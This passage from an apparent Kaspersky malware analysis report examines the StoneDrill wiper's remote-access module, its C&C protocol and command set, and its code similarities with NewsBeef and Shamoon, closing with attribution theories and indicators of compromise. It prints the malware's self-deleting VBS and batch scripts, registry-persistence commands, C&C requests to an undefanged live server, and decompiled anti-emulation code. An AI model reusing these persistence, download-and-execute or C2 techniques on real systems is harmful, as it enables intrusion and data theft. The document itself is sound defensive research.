Then the third copy of the malware is created by the command "**%COMSPEC% /c copy "%SELFNAME" %TEMP%\bd891.tmp**", which checks the target file to verify if command execution is successful, then deletes the bd891.tmp file. The last mentioned is used as another anti-emulation trick in the StoneDrill arsenal.

2.6.4. Fourth step: Payload injection

The payload is extracted from the resources section, decrypted and unpacked similarly to the previously described wiper injector module. The difference here is that for the decryption of the payload module, SSE instructions are used.

In the same style, the payload is injected into the user preferred browser process, with an additional step after the payload module injection: the resource segment responsible for the payload configuration is replaced in memory with the resource taken from the parent module.

After the payload start is attempted, the VBS files listed inside **C-DIt-C-Trsh-T.tmp** and **C-DIt-C-Trsh-T.tmp** are deleted.

2.6.5. Fifth step: If not started

If the payload is not started, then %TEMP%**C-DIt-C-Org-T.vbs** is dropped and executed to delete initial malware copy.

```
WScript.Sleep(10 * 1000)
On Error Resume Next
Set WshShell = CreateObject("Scripting.FileSystemObject")
While WshShell.FileExists("%initial_malware_pathname%")
WshShell.DeleteFile "%initial_malware_pathname%"
Wend
```


Contact: intelreports@kaspersky.com

```
WScript.Sleep(10 * 1000)
WshShell.DeleteFile "%TEMP%\C-Dlt-C-Org-T.vbs"
Set WshShell = Nothing
```

2.7. StoneDrill remote access payload module

SHA256	105ee777ad31a58301310719b49c7b6a7e957823e4dabbfeaa6a14e313008c1b
MD5	e3a82d1db3ae8b189d2e1e0a22d6c82f
Compiled	2016.10.19 16:49:36 (GMT), VC 2015
Type	I386 GUI EXE
Size	317 440 bytes
Version	2.0.1610.76

This module is not dropped into disk but injected directly into the user preferred browser process memory. The module is written in C++ with the use of STL classes, with numerous forgotten debug strings.

2.7.1. First step: Decryption

Strings in this module are encrypted by ROR, NEG, ADD or simply XOR. An unreliable anti-emulation technique is utilized which makes the whole module unstable. The author assumed that the execution of the Sleep function with parameter 4020 milliseconds would increase the system value of KUSER_SHARED_DATA::InterruptTime to four seconds (rounded to the nearest second). If the InterruptTime is increased only by two seconds this module just exits immediately. In case of other values, the module will crash due to the incorrect decryption of strings.

The configuration block is then loaded from resources and decrypted by two passes of XOR.

```
[tbl]
"ux"="http://www.eservic.com/"
"uy"="http://www.eservic.com/"
"cid"="2001"
"gpn"=""
"gpno"=""
"rn"=""
"rno"=""
```

The original module configuration resource is empty - the injector module just patches this resource, replacing the configuration with its own. In the configuration block, “**ux**” and “**uy**” are the C&C servers, “**Cid**” is part of the connection query and seems to be a client ID.

Contact: intelreports@kaspersky.com

2.7.2. Second step: Registering autorun of installer (injector) module

The malware reads and de-XORs content of the **C:\ProgramData\InternetExplorer\FileInfoStp.txt** file, then deletes and unregisters the autorun file defined in **FileInfoStp.txt** (autorun key deleted from registry) with the command:

```
cmd /c REG DELETE HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Stp /f"
```

Next, the file **C:\ProgramData\InternetExplorer\FileInfoStp.txt** is deleted and replaced by the command:

```
cmd /c Copy /Y "C:\ProgramData\Chrome\FileInfo.txt" "C:\ProgramData\InternetExplorer\FileInfoStp.txt"
```

The malware then drops and executes file %TEMP%**C-Strt-C-Up-T.bat**

```
ping 1.0.0.0 -n 1 -w 20000 > nul
@ECHO OFF
wmic /NameSpace:\\root\default Class StdRegProv Call SetStringValue hDefKey = "&H80000001"
sSubKeyName = "Software\Microsoft\Windows\CurrentVersion\Run" sValue =
"C:\ProgramData\InternetExplorer\%SELECTED_NAME%Stp.exe" sValueName = "Stp"
Del "%TEMP%\C-Strt-C-Up-T.bat"
```

2.7.3. Third step: C&C server selection

Multiple attempts are made to connect to the hosts configured in the **ux** and **uy** fields (found in the sample configuration). The malware issues **GET** requests to "**ct_if/ctpublic/Check_Exist.php**". The server answering with the "**HANW-J6YS-P81J-KSD7**" string is selected as the current live server.

C&C login

The next connection is a login attempt with the following request:

```
POST / HTTP/1.1
Host: www.eservic.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://www.eservic.com/
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
username=MD5Sum(login)&password=MD5Sum(password)&button=Login
```


Contact: intelreports@kaspersky.com

2.7.4. Fourth step: Get commands list

During the fourth step, the malware requests available commands from the C&C:

```
GET
/insert/index?id=%cid_from_config%%random_part_of_client_id%&hst=%base64encoded_computer_and_user_
name_cpuid0_checksum%&ttype=102&sta
te=201 HTTP/1.1
Host: www.eservic.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: %string_received_in_login_step%
Connection: close
```

Here is a list of the StoneDrill commands available:

Command	Internal Help Strings	Command Description
os	*1. OS (The is Response the Operating System of the Client Machine)*	Return details about Windows version, edition, architecture and environment
version	*2. Version (The Response is Version of Running Product on the Client Machine)*	"**2.0.1610.76**" string returned
time	*3. Time (The Response is Current Time of the Client Machine)*	Current system and local time are returned
shell	*4. Shell Value (Give You Access the CMD Console in the Client Machine; Value is Anything that You Want to Writing in the CMD Console of the Client Machine and Execute it)*	Stdout/stderr streams of executed "**cmd.exe /C** %value%" command are captured and send back to CC
screenshot	*5. Screenshot (The Response is a JPEG File of the Screenshot of the Client Machine Desktop)*	1-At first the malware takes screenshot into randomly named **.bmp** file in %TEMP% folder. 2-Then takes second screenshot, now with jpeg compression and store it as **.jpg** file with random name. In case of success **jpg** creation **bmp** file is deleted. 3-Send screenshot file to C&C and delete temporary files.
delay	*6. Delay Value (Adjust the Time-Interval for the Server and Client Communication; Value can be Between 1000-100000; 1000 is High-End Speed)*	
download	*7. Download "From" "To" (Download a File From "a URL" To "a Directory on the Client Machine")*	Downloaded file initially stored as "%TEMP%**Test.tmp**", then deXORed with 0xCC and copied to specified location with VBS script "**C-Dled-C-Cpy-T.vbs**" as previously described, file is then executed with command: "**cmd /c WMIC Process Call Create**

Contact: intelreports@kaspersky.com

		C:\Windows\System32\Wscript.exe //NOLOGO
upload	*8. Upload "From" (Upload a File From "a Directory on the Client Machine")*	
update	*9. Update "From" (Download the New Version of the Product From "a URL" and Execute it on the Client Machine)*	Downloaded file initially stored with random name inside %TEMP% folder, then renamed by using **C-Uptd-C-Cpy-T.vbs** and **C-Up-C-Dt-T.bat** similar to previous steps
uninstall	*10. Uninstall (Uninstall The Running Product from the Client Machine and Delete All Side-Effects)*	Unregister autorun with command: **cmd /c REG DELETE HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Stp /f** Then drop and run **C-Un-C-Instl-T.bat** with body: **ping 1.1.1.1 -n 5 -w 2000 > nul** **RMDIR /S /Q "C:\ProgramData\Chrome\"** **RMDIR /S /Q "C:\ProgramData\InternetExplorer\"** **Del "**%TEMP%**\C-Un-C-Instl-T.bat"** Then terminates itself.
antivirus	*11. Antivirus (The Response is Installed Antivirus on the Client Machine)*	Queries Windows Management Instrumentation (WMI) database for installed **AntiVirusProduct** details. Runs additional registry lookups for details of: **Avast**, **McAfee**, **Avg**, **BitDefender** products.
help	*12. Help (Response is the List of Supported Commands in the Current Version of Product that Running on the Client Machine)*	List title is **"-Command List of the Current Vesrion are:"**

2.8. StoneDrill similarities with Shamoon

Of course, one of the most important questions is the following: are StoneDrill and Shamoon connected? This is a difficult question to answer. However, by listing the similarities and differences between the two, anyone can come up with their own answer.

Although we used a Yara built on Shamoon samples to find StoneDrill, there are several other similarities between the two:

- Both Shamoon and StoneDril appear to be targeting Saudi organizations.
- Samples have been compiled around the same time - October-November 2016.
- Similar to previous generations of Shamoon, StoneDrill uses encrypted PE resources to store the actual payload.

Contact: intelreports@kaspersky.com

The most important differences include:

- To avoid detection by emulators and sandboxing tools, the StoneDrill authors used far more advanced anti-emulation techniques than Shamoon.
- StoneDrill utilises VBS scripts to run self-delete scripts, while Shamoon didn't use any external scripts.
- A distinction from the Shamoon malware is that the strings encryption in StoneDrill is performed by alphabet table replacement.
- StoneDrill does not use drivers during deployment, but rather through memory injection into the victim's preferred browser.

2.9. StoneDrill similarities with NewsBeef

Our initial analysis of StoneDril revealed some similarities with a threat actor we've seen before - NewsBeef. While we call this the NewsBeef APT, this group has been reported in the past as Charming Kitten or Newscaster (in 2014).

The similarities between NewsBeef and StoneDrill make us believe there is a very strong connection there. Below we list some of the similarities we observed:

2.9.1. Winmain Signature

In NewsBeef:

```
B8 08 00 FE 7F FF 30 8F 44 24 20 68 B4 0F 00 00 FF 15 78 70 44 00 B8 08 00 FE 7F FF 30 8F 44 24 24 8B 4C 24 24 2B 4C 24 20 B8 6B CA 5F 6B F7 E1 C1 EA 16 80 EA 02 88 15 95 71 45 00
```

In StoneDrill:

```
B8 08 00 FE 7F FF 30 8F 44 24 14 68 B4 0F 00 00 FF 15 4C B0 63 00 B8 08 00 FE 7F FF 30 8F 44 24 10 8B 44 24 10 33 D2 2B 44 24 14 B9 80 96 98 00 F7 F1 2C 02 A2 61 D6 64 00
```


Contact: intelreports@kaspersky.com

2.9.2. The OS command

In NewsBeef:

```
v44 = sub_417180("os", v43);
sub_401880((int)&v164);
if ( v44 )
{
  if ( os(&FileName) )
  {
    wcstombs(&v195, &FileName, 0x100u);
    sub_40F8F0((int)&v189, &v195, &v189);
  }
  else
  {
    sub_40F8F0(v45, "Unsupported OS", &v189);
  }
}
```

In StoneDrill:

```
string::asgn(&s2_3, "os");
v187 = decrStr(&v351, s2_3);
string::assign_1(&s2_3, &a2);
v188 = str_tolower(s2_3);
v189 = string::op_eqeq(v188, v187);
std::basic_string<char,std::char_traits<char>,st
std::basic_string<char,std::char_traits<char>,st
if ( v189 )
{
  if ( getWinVerDetails(v527) )
  {
    wcstombs(v530, v527, 0x100u);
    std::basic_string<char,std::char_traits<char
    goto LABEL_161;
  }
  string::asgn(&s2_3, "Unsupported OS");
  v190 = decrStr(&v350, s2_3);
  string::swap_(&v519, v190);
  this_2 = &v350;
  goto LABEL_159;
}
```


Contact: intelreports@kaspersky.com

2.9.3. The Update command

In NewsBeef:

```
sub_401820(&v201, "http://www.");
sub_401820(&v203, "https://www.");
sub_401820(&v204, "http://");
sub_401820(&v205, "https://");
sub_401820(&v206, "www.");
for ( i = 0; ; ++i )
```

In StoneDrill:

```
string::asgn(&s2_3, "http://www.");
decrStr(&v520, s2_3);
string::asgn(&s2_3, "https://www.");
decrStr(&v521, s2_3);
string::asgn(&s2_3, "http://");
decrStr(&v522, s2_3);
string::asgn(&s2_3, "https://");
decrStr(&v523, s2_3);
string::asgn(&s2_3, "www.");
decrStr(&v524, s2_3);
for ( j = 0; ; ++j )
```

2.9.4. The Strings Decryption routine

In NewsBeef:

```
must_be2 = ::must_be2;
do
  tmp_mem[i++] += must_be2 + 19;
while ( i < v1 );
```

In StoneDrill:

```
LOBYTE(v1) = must_be_2_key;
do
{
  result = v1 + 19;
  tmp_mem[i++] += v1 + 19;
}
while ( i < *a1 );
```


Contact: intelreports@kaspersky.com

2.9.5. The Payload Winmain

In NewsBeef:

```
  SetErrorMode(0x8000u);
  SetErrorMode(1u);
  SetErrorMode(2u);
  hIcon = LoadCursorW(0, (LPCWSTR)0x7F00);
  hcur = CopyIcon(hIcon);
  SetSystemCursor(hcur, 0x7F8Au);
  InterruptTime = MEMORY[0x7FFE0008];
  Sleep(4020u);
  InterruptTime2 = MEMORY[0x7FFE0008];
  must_be2 = (MEMORY[0x7FFE0008] - InterruptTime) / 10000000u - 2;
  if ( (unsigned __int8)((MEMORY[0x7FFE0008] - InterruptTime) / 10000000u) == 2 )
LABEL_2:
    exit(0);
```

In StoneDrill:

```
  SetErrorMode(0x8000u);
  SetErrorMode(1u);
  SetErrorMode(2u);
  hIcon = LoadCursorW(0, (LPCWSTR)0x7F00);
  hcur = CopyIcon(hIcon);
  SetSystemCursor(hcur, 0x7F8Au);
  InterruptTime = MEMORY[0x7FFE0008];           // _KUSER_SHARED_DATA::InterruptTime
  Sleep(4020u);
  InterruptTime_1 = MEMORY[0x7FFE0008];
  must_be_2_key = (MEMORY[0x7FFE0008] - InterruptTime) / 10000000u - 2;
  if ( (unsigned __int8)((MEMORY[0x7FFE0008] - InterruptTime) / 10000000u) == 2 )
    exit(0);
```

2.9.6. Command center name similarities

Besides the technical code similarities listed above, we noticed that the naming scheme for the NewsBeef and StoneDrill C&Cs is quite similar. For instance:

StoneDrill	NewsBeef
www.chromup[.]com	www.chrome-up[.]date service1.chrome-up[.]date service.chrome-up[.]date
www.eservic[.]com	webmaster.serveirc[.]com

Contact: intelreports@kaspersky.com

3. Conclusions

Our discovery of StoneDrill gives another dimension to the existing wave of wiper attacks against Saudi organizations that started with Shamoon 2.0 in November 2016. Compared to the new Shamoon 2.0 variants, the most significant difference is the lack of a disk driver used for direct access during the destructive step. Nevertheless, one does not necessarily need raw disk access to perform destructive functions at file level, which the malware implements quite successfully.

Of course, one of the most important questions here is the connection between Shamoon and StoneDrill. Both wipers appear to have been used against Saudi organizations during a similar timeframe of October-November 2016. Several theories are possible here:

- StoneDrill is a less-used wiper tool, deployed in certain situations by the same Shamoon group.
- StoneDrill and Shamoon are used by different groups which are aligned in their interests.
- StoneDrill and Shamoon are used by two different groups which have no connection to each other and just happen to target Saudi organizations at the same time.

Taking all factors into account, our opinion is that the most likely theory is the second.

Additionally, StoneDrill appears to be connected with previously reported NewsBeef activity, which continues to target Saudi organizations. From this point of view, NewsBeef and StoneDrill appear to be continuously focused on targeting Saudi interests, while Shamoon is a flashy, come-and-go high impact tool.

In terms of attribution, while Shamoon embeds Arabic-Yemen resource language sections, StoneDrill embeds mostly Persian resource language sections. Geopolitical analysts would be quick to point out that Iran and Yemen are both players in the Iran-Saudi Arabia proxy conflict. Of course, we do not exclude the possibility of false flags.

Finally, many unanswered question remain in regards to StoneDrill and NewsBeef. The discovery of the StoneDrill wiper in Europe is a significant sign that the group is expanding its destructive attacks outside the Middle East. The target for the attack appears to be a large corporation with a wide area of activity in the petro-chemical sector, with no apparent connection or interest in Saudi Arabia.

As usual, we will continue to monitor the Shamoon, StoneDrill and NewsBeef attacks. A presentation about StoneDrill will be given at the Kaspersky Security Analyst Summit Conference, on April 2-6, 2017.

Kaspersky Lab products detect the Shamoon and StoneDrill samples as:

Trojan.Win32.EraseMBR.a

Trojan.Win32.Shamoon.a

Contact: intelreports@kaspersky.com

Trojan.Win64.Shamoon.a

Trojan.Win64.Shamoon.b

Backdoor.Win32.RemoteConnection.d

Trojan.Win32.Inject.wmyv

Trojan.Win32.Inject.wmyt

HEUR:Trojan.Win32.Generic

Contact: intelreports@kaspersky.com

4. Appendices

4.1. Indicators of Compromise

4.1.1. Shamoon MD5s

00c417425a73db5a315d23f ac8cb353f

271554cff 73c3843b9282951f 2ea7509

2cd0a5f 1e9bcce6807e57ec8477d222a

33a63f 09e0962313285c0f 0f b654ae11

38f 3bed2635857dc385c5d569bbc88ac

41f 8cd9ac3f b6b1771177e5770537518

5446f 46d89124462ae7aca4f ce420423

548f 6b23799f 9265c01f eef c6d86a5d3

63443027d7b30ef 0582778f 1c11f 36f 3

6a7bff 614a1c2f d2901a5bd1d878be59

6bebb161bc45080200a204f 0a1d6f c08

7772ce23c23f 28596145656855f d02f c

7946788b175e299415ad9059da03b1b2

7edd88dd4511a7d5bcb91f 2ff 177d29d

7f 399a3362c4a33b5a58e94b8631a3d5

8405aa3d86a22301ae62057d818b6b68

8712cea8b5e3ce0073330f d425d34416

8f be990c2d493f 58a2af a2b746e49c86

940cee0d5985960b4ed265a859a7c169

9d40d04d64f 26a30da893b7a30da04eb

aae531a922d9cca9ddca3d98be09f 9df

ac8636b6ad8f 946e1d756cd4b1ed866d

af 053352f e1a02ba8010ec7524670ed9

b4ddab362a20578dc6ca0bc8cc8ab986

baa9862b027abd61b3e19941e40b1b2d

c843046e54b755ec63ccb09d0a689674

d30cf a003ebf cd4d7c659a73a8dce11e

Contact: intelreports@kaspersky.com

da3d900f 8b090c705e8256e1193a18ec

dc79867623b7929f d055d94456be8ba0

ec010868e3e4c47239bf 720738e058e3

ef ab909e4d089b8f 5a73e0b363f 471c1

4.1.2. StoneDrill MD5s

ac3c25534c076623192b9381f 926ba0d

0ccc9ec82f 1d44c243329014b82d3125

8e67f 4c98754a2373a49eaf 53425d79a

f b21f 3cea1aa051ba2a45e75d46b98b8

4.1.3. StoneDrill C2s

www.eservic[.]com

www.securityupdated[.]com

www.actdire[.]com

www.chromup[.]com

4.1.4. NewsBeef C2s

www.chrome-up[.]date

service1.chrome-up[.]date

service.chrome-up[.]date

webmaster.serveirc[.]com

Contact: intelreports@kaspersky.com